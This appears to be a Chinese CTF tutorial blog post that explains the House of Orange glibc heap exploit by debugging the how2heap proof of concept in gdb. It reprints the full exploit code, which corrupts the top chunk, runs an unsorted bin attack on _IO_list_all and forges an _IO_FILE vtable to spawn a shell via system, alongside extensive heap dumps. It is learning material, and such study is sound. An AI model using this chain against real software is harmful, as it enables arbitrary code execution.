借助gdb调试glibc代码学习House of Orange

准备工作

学习了CTF比赛中的一种堆利用方法—house of orange，看了很多师傅们的博客和一些国外网站，现在总算理清了一些利用原理。

house of orange攻击的主要思路是利用unsorted bin attack修改_IO_list_all指针，并伪造_IO_FILE_plus结构体及其vtable（虚表）来劫持控制流。

为了更加深入地理解，很有必要gdb调试glibc中的malloc.c代码。以我的环境为例，在调试glibc代码前需要安装：

1、1Ubuntu 16.04 x64

2、gdb。我个人使用pwndbg，您也可以使用其他，如gdb-peda。

3、源代码和调试符号。借助于调试符号，逆向工程师就能调试任何感兴趣的内容了。

在gdb提示符下输入以下内容：

pwndbg> directory /usr/src/glibc/glibc-2.23/malloc/

pwndbg> b _int_malloc

上面的gdb命令会在您单步执行时显示被调试函数的源代码。

实际上，在glibc中没有malloc()，只能找到__libc_malloc()和_int_malloc()，而_int_malloc()才是内存分配的函数。__libc_malloc()仅对_int_malloc()进行简单封装。本文贴出的大部分代码都是从_int_malloc()中截取的。

下面以

https://github.com/shellphish/how2heap/blob/master/glibc_2.25/house_of_orange.c 中的代码为例说明house of orange的原理。

精简掉注释和相关说明后，程序主体如下所示：

#include <stdio.h>

#include <stdlib.h>

#include <string.h>

int winner ( char *ptr);

int main()

{

char *p1, *p2;

size_t io_list_all, *top;

p1 = malloc(0x400-16);

top = (size_t *) ( (char *) p1 + 0x400 - 16);

top[1] = 0xc01;

p2 = malloc(0x1000);

io_list_all = top[2] + 0x9a8;

top[3] = io_list_all - 0x10;

memcpy( ( char *) top, "/bin/sh\x00", 8);

top[1] = 0x61;

_IO_FILE *fp = (_IO_FILE *) top;

fp->_mode = 0; // top+0xc0

fp->_IO_write_base = (char *) 2; // top+0x20

fp->_IO_write_ptr = (char *) 3; // top+0x28

size_t *jump_table = &top[12]; // controlled memory

jump_table[3] = (size_t) &winner;

*(size_t *) ((size_t) fp + sizeof(_IO_FILE)) = (size_t) jump_table; // top+0xd8

/* Finally, trigger the whole chain by calling malloc */

malloc(10);

return 0;

}

int winner(char *ptr)

{

system(ptr);

return 0;

}

编译调试

gcc house_of_orange.c –g –o house_of_orange

gdb ./house_of_orange

调试过程及原理说明

首先从堆中分配一个chunk

p1 = malloc(0x400-16);

pwndbg> heap
0x602000 PREV_INUSE {

prev_size = 0x0,

size = 0x401,

fd = 0x0,

bk = 0x0,

fd_nextsize = 0x0,

bk_nextsize = 0x0,

}

0x602400 PREV_INUSE {

prev_size = 0x0,

size = 0x20c01,

fd = 0x0,

bk = 0x0,

fd_nextsize = 0x0,

bk_nextsize = 0x0,

}

pwndbg> p p1

$2 = 0x602010 ""

2.1 泄露libc基址

考虑这么一种情况，假设在malloc时，程序中的bins里都没有合适的chunk，同时top chunk的大小已经不够用来分配这块内存。那么此时程序将会调用sysmalloc来向系统申请更多的空间。我们的目的在于用sysmalloc()中_int_free()获得一块释放的堆块。

对于堆来说有两种拓展方式：一是通过改变brk来拓展堆，二是通过mmap方式。其中只有brk拓展才会调用到_int_free()将老的top chunk释放掉，所以还需要满足一些条件。

由上述代码可知，要想使用brk拓展，需要满足chunk size < 0x20000。同时，在使用brk拓展之前还有一系列check。

这里主要关注如何对齐到内存页。现代操作系统都是以内存也为单位进行内存管理的，一般内存也大小为4kb（0x1000），那么top chunk的size加上top chunk的地址所得到的值是和0x1000对齐的。

整理以上代码，所需条件有：

• 分配的chunk大小小于0x20000，大于top chunk的size

• top chunk大小大于MINSIZE

• top chunk的inuse等于1

• top chunk的大小要对齐到内存页

满足了以上各种条件，就可以成功调用_int_free()来释放top chunk

此后，原先的top chunk将被放入unsorted bin中。

下一次分配时，就将会从unsorted bin中切割合适的大小，而切割下来的chunk的fd和bk的值将会是libc中的地址了。同时，若该chunk是large chunk，在fd_nextsize和bk_nextsize中还会储存堆中的地址，由此便可以完成信息泄露了。

利用代码

top = (size_t *) ( (char *) p1 + 0x400 - 16);

top[1] = 0xc01; //将top chunk的大小改为0xc01

p2 = malloc(0x1000);

执行上面3句，将原先的top chunk 0x602400放入到unsortedbin中。其中，0x602400+0xC00= 0x603000，它与0x1000是对齐的。

调试过程如下：

top = (size_t *) ( (char *) p1 + 0x400 - 16);

pwndbg> p top
$1 = (size_t *) 0x602400

top[1] = 0xc01;

pwndbg> heap
0x602000 PREV_INUSE {

prev_size = 0x0,

size = 0x401,

fd = 0x0,

bk = 0x0,

fd_nextsize = 0x0,

bk_nextsize = 0x0,

}

0x602400 PREV_INUSE {

prev_size = 0x0,

size = 0xc01,

fd = 0x0,

bk = 0x0,

fd_nextsize = 0x0,

bk_nextsize = 0x0,

}

0x603000 {

prev_size = 0x0,

size = 0x0,

fd = 0x0,

bk = 0x0,

fd_nextsize = 0x0,

bk_nextsize = 0x0,

}

p2 = malloc(0x1000);

pwndbg> p p2
$3 = 0x623010 ""

pwndbg> bins

fastbins

0x20: 0x0

0x30: 0x0

0x40: 0x0

0x50: 0x0

0x60: 0x0

0x70: 0x0

0x80: 0x0

unsortedbin

all: 0x602400 —▸ 0x7ffff7dd1b78 (main_arena+88) ◂— 0x602400

smallbins

empty

largebins

empty

2.2 劫持流程

接下来会涉及到IO_FILE的利用，这种方法被称为FSOP（File Stream Oriented Programming）。

每个FILE结构都通过一个_IO_FILE_plus结构体定义

其中包括一个_IO_FILE结构体和一个vtable虚表指针。_IO_FILE结构体保存了FILE的各种信息。vtable(虚表)指针指向了一系列函数指针。

_IO_FILE结构定义如下：

整个结构不用完全掌握，大概了解就行。

在进程中的产生的各个_IO_FILE结构会通过其中的struct _IO_FILE *_chain；连接在一起形成一个链表，其中表头使用全局变量struct _IO_FILE_plus *_IO_list_all来表示，通过_IO_list_all就可以遍历所有_IO_FILE结构。

_IO_jump_t *vtable结构定义如下，里面保存了一系列的函数指针。

以上，主要需要了解的就是 _IO_FILE_plus、_IO_FILE、vtable3个结构以及_IO_list_all指针的关系和及其内容。下面的图能较好地说明它们之间的关系。

2.3 unsortedbin attack

根据house of orange的流程，将利用unsortedbin attack来修改_IO_list_all指针的数值。

unsortedbin attack是怎么一回事呢，其实就是在malloc的过程中，unsortedbin会从链表上卸下来（只要分配的大小不是fastchunk大小）。

在从unsorted bin中取出chunk时，会执行以下代码：

这里将最后一个chunk取出，并把倒数第二个chunk的fd设置为unsorted_chunks(av)，这里unsorted_chunks(av)就是main_arena中top成员变量的地址(&main_arena+88)。

可以发现，如果我们将victim的bk改写为某个地址，则可以向这个地址+0x10（即为bck->fd）的地方写入&main_arena+88。

io_list_all = top[2] + 0x9a8;

top[3] = io_list_all - 0x10;

执行上面2句，相当于我们将unsortedbin中的chunk的bk改写成_IO_list_all - 0x10，这样当从unsorted bin中取出它时就可以成功将_IO_list_all改写为&main_arena+88

2.4 FSOP

在此之前，我们先了解一下malloc对错误信息的处理过程：

1）在malloc出错时，会调用malloc_printerr函数来输出错误信息；

2）malloc_printerr又会调用__libc_message；

3）__libc_message又调用abort；

4）abort则又调用了_IO_flush_all_lockp；

5）最后_IO_flush_all_lockp中会调用到vtable中的_IO_OVERFLOW函数。

所以如果可以控制_IO_list_all的数值，同时伪造一个_IO_FILE和vtable并放入FILE链表中，就可以让上述流程进入我们伪造的vtable，并调用被修改为system的_IO_OVERFLOW函数。

但是想要成功调用_IO_OVERFLOW函数还需要绕过一些阻碍：

观察代码发现，_IO_OVERFLOW存在于if之中，根据短路原理，若要执行到_IO_OVERFLOW，就需要让前面的判断都能满足，即：

fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base

或者：

_IO_vtable_offset (fp) == 0

&& fp->_mode > 0

&& (fp->_wide_data->_IO_write_ptr > fp->_wide_data->_IO_write_base

以上两个条件至少要满足一个，这里我们将选择第一个，只需要构造mode、_IO_write_ptr和_IO_write_base。因为这些都是我们可以伪造的_IO_FILE中的数据，所以比较容易实现。

在前面介绍的unsortedbin attack可以将_IO_list_all指针的值修改为&main_arena+88。

但这还不够，因为我们很难控制main_arena中的数据，并不能在mode、_IO_write_ptr和_IO_write_base的对应偏移处构造出合适的值。

所以我们将目光转向_IO_FILE的链表特性。在前文_IO_flush_all_lockp函数的代码最后，可以发现程序通过fp = fp->_chain不断的寻找下一个_IO_FILE。

所以如果可以修改fp->_chain到一个我们伪造好的_IO_FILE的地址，那么就可以成功实现利用了。

巧妙的是，_IO_FILE结构中的chain字段对应偏移是0x68，而在&main_arena+88对应偏移为0x68的地址正好是大小为0x60的small bin的bk，而这个地址的刚好是我们可以控制的。

smallbins在main_arena中的位置：

下面截图说明：

(main_arena+88)+0x20为smallbin 0x20的fd，(main_arena+88)+0x28为smallbin 0x20的bk

… …

(main_arena+88)+0x60为smallbin 0x60的fd，(main_arena+88)+0x68为smallbin 0x60的bk

我们如果通过溢出，将位于unsorted bin中的chunk的size修改为0x61。（注：现在unsorted bin中的chunk就是之前被释放的top chunk的一部分），那么在下一次malloc的时候，因为在其他bin中都没有合适的chunk，malloc将会进入大循环，把unsorted bin中的chunk放回到对应的small bin或large bin中。

因此，我们将位于unsorted bin中的chunk的size修改为0x61，因此该chunk就会被放入大小为0x60的small bin中，同时，该small bin的fd和bk都会变为此chunk的地址。

这样，当_IO_flush_all_lockp函数通过fp->_chain寻找下一个_IO_FILE时，就会寻找到smallbin 0x60中的chunk。

只要在这个chunk中伪造好_IO_FILE结构体以及vtable，把_IO_OVERFLOW设置为system，然后就可以成功getshell了。

利用代码：

memcpy( ( char *) top, "/bin/sh\x00", 8); //传输system()函数所需的/bin/sh

top[1] = 0x61; //为了将chunk放到smallbins[0x60]中

_IO_FILE *fp = (_IO_FILE *) top;

fp->_mode = 0; // top+0xc0

fp->_IO_write_base = (char *) 2; // top+0x20

fp->_IO_write_ptr = (char *) 3; // top+0x28

size_t *jump_table = &top[12]; // controlled memory

jump_table[3] = (size_t) &winner;

*(size_t *) ((size_t) fp + sizeof(_IO_FILE)) = (size_t) jump_table; // top+0xd8

/* Finally, trigger the whole chain by calling malloc */

malloc(10);

调试过程：

pwndbg> x &_IO_list_all

0x7ffff7dd2520 <_IO_list_all>: 0xf7dd2540

pwndbg> x &main_arena

0x7ffff7dd1b20 <main_arena>: 0x00000000

io_list_all = top[2] + 0x9a8;

pwndbg> p io_list_all
$6 = 140737351853344 //0x7FFFF7DD2520

top[3] = io_list_all - 0x10;

0x602400 PREV_INUSE {
prev_size = 0x0,

size = 0xbe1,

fd = 0x7ffff7dd1b78,

bk = 0x7ffff7dd2510,

fd_nextsize = 0x0,

bk_nextsize = 0x0,

}

memcpy( ( char *) top, "/bin/sh\x00", 8);

pwndbg> x/20gx 0x602400
0x602400: 0x0068732f6e69622f 0x0000000000000be1

0x602410: 0x00007ffff7dd1b78 0x00007ffff7dd2510

0x602420: 0x0000000000000000 0x0000000000000000

0x602430: 0x0000000000000000 0x0000000000000000

0x602440: 0x0000000000000000 0x0000000000000000

0x602450: 0x0000000000000000 0x0000000000000000

0x602460: 0x0000000000000000 0x0000000000000000

0x602470: 0x0000000000000000 0x0000000000000000

0x602480: 0x0000000000000000 0x0000000000000000

0x602490: 0x0000000000000000 0x0000000000000000

通过在_IO_list_all设置硬件断点（wa *0x7ffff7dd2520），通过gdb调试glibc代码，发现执行完bck->fd=unsorted_chunks(av)后，_IO_list_all所指的数值改成了main_arena+88。

将这个chunk放入smallbin 0x60，所以将size位设置为0x61。同时，small bin[0x60]的fd和bk都会变为此chunk的地址。

pwndbg> x/20gx 0x602400

0x602400: 0x0068732f6e69622f 0x0000000000000061

0x602410: 0x00007ffff7dd1b78 0x00007ffff7dd2510

0x602420: 0x0000000000000000 0x0000000000000000

0x602430: 0x0000000000000000 0x0000000000000000

0x602440: 0x0000000000000000 0x0000000000000000

0x602450: 0x0000000000000000 0x0000000000000000

0x602460: 0x0000000000000000 0x0000000000000000

0x602470: 0x0000000000000000 0x0000000000000000

0x602480: 0x0000000000000000 0x0000000000000000

0x602490: 0x0000000000000000 0x0000000000000000

gdb调试glibc代码，设置断点b _int_malloc，发现执行完下列语句后，将地址为0x602400的chunk放入smallbins[0x60]。

由于之前unsortedbin attack来将_IO_list_all指针的值修改为&main_arena+88。这样，当_IO_flush_all_lockp函数通过fp->_chain寻找下一个_IO_FILE时，就会寻找到smallbin 0x60中的chunk。

pwndbg> x/50gx 0x602400

0x602400: 0x0068732f6e69622f 0x0000000000000061

0x602410: 0x00007ffff7dd1b78 0x00007ffff7dd2510

0x602420: 0x0000000000000002 0x0000000000000003

0x602430: 0x0000000000000000 0x0000000000000000

0x602440: 0x0000000000000000 0x0000000000000000

0x602450: 0x0000000000000000 0x0000000000000000

0x602460: 0x0000000000000000 0x0000000000000000

0x602470: 0x0000000000000000 0x0000000000000000

0x602480: 0x0000000000000000 0x0000000000000000

0x602490: 0x0000000000000000 0x0000000000000000

0x6024a0: 0x0000000000000000 0x0000000000000000

0x6024b0: 0x0000000000000000 0x0000000000000000

0x6024c0: 0x0000000000000000 0x0000000000000000

pwndbg> p jump_table
$7 = (size_t *) 0x602460

jump_table[3] = (size_t) &winner;

pwndbg> x/20gx 0x602400

0x602400: 0x0068732f6e69622f 0x0000000000000061

0x602410: 0x00007ffff7dd1b78 0x00007ffff7dd2510

0x602420: 0x0000000000000002 0x0000000000000003

0x602430: 0x0000000000000000 0x0000000000000000

0x602440: 0x0000000000000000 0x0000000000000000

0x602450: 0x0000000000000000 0x0000000000000000

0x602460: 0x0000000000000000 0x0000000000000000

0x602470: 0x0000000000000000 0x000000000040078f

0x602480: 0x0000000000000000 0x0000000000000000

0x602490: 0x0000000000000000 0x0000000000000000

pwndbg> x/50gx 0x602400
0x602400: 0x0068732f6e69622f 0x0000000000000061

0x602410: 0x00007ffff7dd1b78 0x00007ffff7dd2510

0x602420: 0x0000000000000002 0x0000000000000003

0x602430: 0x0000000000000000 0x0000000000000000

0x602440: 0x0000000000000000 0x0000000000000000

0x602450: 0x0000000000000000 0x0000000000000000

0x602460: 0x0000000000000000 0x0000000000000000

0x602470: 0x0000000000000000 0x000000000040078f

0x602480: 0x0000000000000000 0x0000000000000000

0x602490: 0x0000000000000000 0x0000000000000000

0x6024a0: 0x0000000000000000 0x0000000000000000

0x6024b0: 0x0000000000000000 0x0000000000000000

0x6024c0: 0x0000000000000000 0x0000000000000000

0x6024d0: 0x0000000000000000 0x0000000000602460



pwndbg> p (*(struct _IO_FILE_plus *) 0x602400)

$4 = {

file = {

_flags = 1852400175,

_IO_read_ptr = 0x61 <error: Cannot access memory at address 0x61>,

_IO_read_end = 0x7ffff7dd1b78 <main_arena+88> "\020@b",

_IO_read_base = 0x7ffff7dd2510 "",

_IO_write_base = 0x2 <error: Cannot access memory at address 0x2>,

_IO_write_ptr = 0x3 <error: Cannot access memory at address 0x3>,

_IO_write_end = 0x0,

_IO_buf_base = 0x0,

_IO_buf_end = 0x0,

_IO_save_base = 0x0,

_IO_backup_base = 0x0,

_IO_save_end = 0x0,

_markers = 0x0,

_chain = 0x0,

_fileno = 0,

_flags2 = 0,

_old_offset = 4196239,

_cur_column = 0,

_vtable_offset = 0 '\000',

_shortbuf = "",

_lock = 0x0,

_offset = 0,

_codecvt = 0x0,

_wide_data = 0x0,

_freeres_list = 0x0,

_freeres_buf = 0x0,

__pad5 = 0,

_mode = 0,

_unused2 = '\000' <repeats 19 times>

},

vtable = 0x602460

}



pwndbg> p (*(struct _IO_jump_t *) 0x602460)

$5 = {

__dummy = 0,

__dummy2 = 0,

__finish = 0x0,

__overflow = 0x40078f <winner>,

__underflow = 0x0,

__uflow = 0x0,

__pbackfail = 0x0,

__xsputn = 0x0,

__xsgetn = 0x0,

__seekoff = 0x0,

__seekpos = 0x0,

__setbuf = 0x0,

__sync = 0x0,

__doallocate = 0x0,

__read = 0x0,

__write = 0x602460,

__seek = 0x0,

__close = 0x0,

__stat = 0x0,

__showmanyc = 0x0,

__imbue = 0x0

}

因为unsortedbin attack的时候破坏了unsorted bin的链表结构，所以接下来的分配过程会出现错误，系统调用malloc_printerr去打印错误信息，从而被我们劫持流程，执行到winner，然后由winner执行system函数。

总结

之前看了很多house of orange的介绍，总不得要领。通过gdb调试glibc的malloc.c后，才知道unsortedbin attack，FSOP的操作都是在最后执行malloc(10)的时候完成的。

完整地跟踪一遍_int_malloc()函数就清楚了：当调用malloc(10)时，首先将unsortedbin中的chunk摘下来，从而导致_IO_list_all修改为main_arena+88。

之后将摘下来的chunk放到smallbin[0x60]中：

最后，由于unsortedbin attack破坏了unsorted bin的链表结构。此时，victim= (mchunkptr) 0x7ffff7dd2510，victim->size=0，满足__builtin_expect (victim->size <= 2 * SIZE_SZ, 0)，所以在大循环中系统调用malloc_printerr去打印错误信息。

从而被我们劫持流程，执行到winner，然后由winner执行system函数。

而下面的这些语句仅仅是为漏洞利用提供子弹而已。

io_list_all = top[2] + 0x9a8;

top[3] = io_list_all - 0x10;

memcpy( ( char *) top, "/bin/sh\x00", 8);

top[1] = 0x61;

_IO_FILE *fp = (_IO_FILE *) top;

fp->_mode = 0; // top+0xc0

fp->_IO_write_base = (char *) 2; // top+0x20

fp->_IO_write_ptr = (char *) 3; // top+0x28

size_t *jump_table = &top[12]; // controlled memory

jump_table[3] = (size_t) &winner;

*(size_t *) ((size_t) fp + sizeof(_IO_FILE)) = (size_t) jump_table; // top+0xd8

malloc(10)；才会最终执行malloc中的攻击链，它才是关键的扳机操作。

- End -

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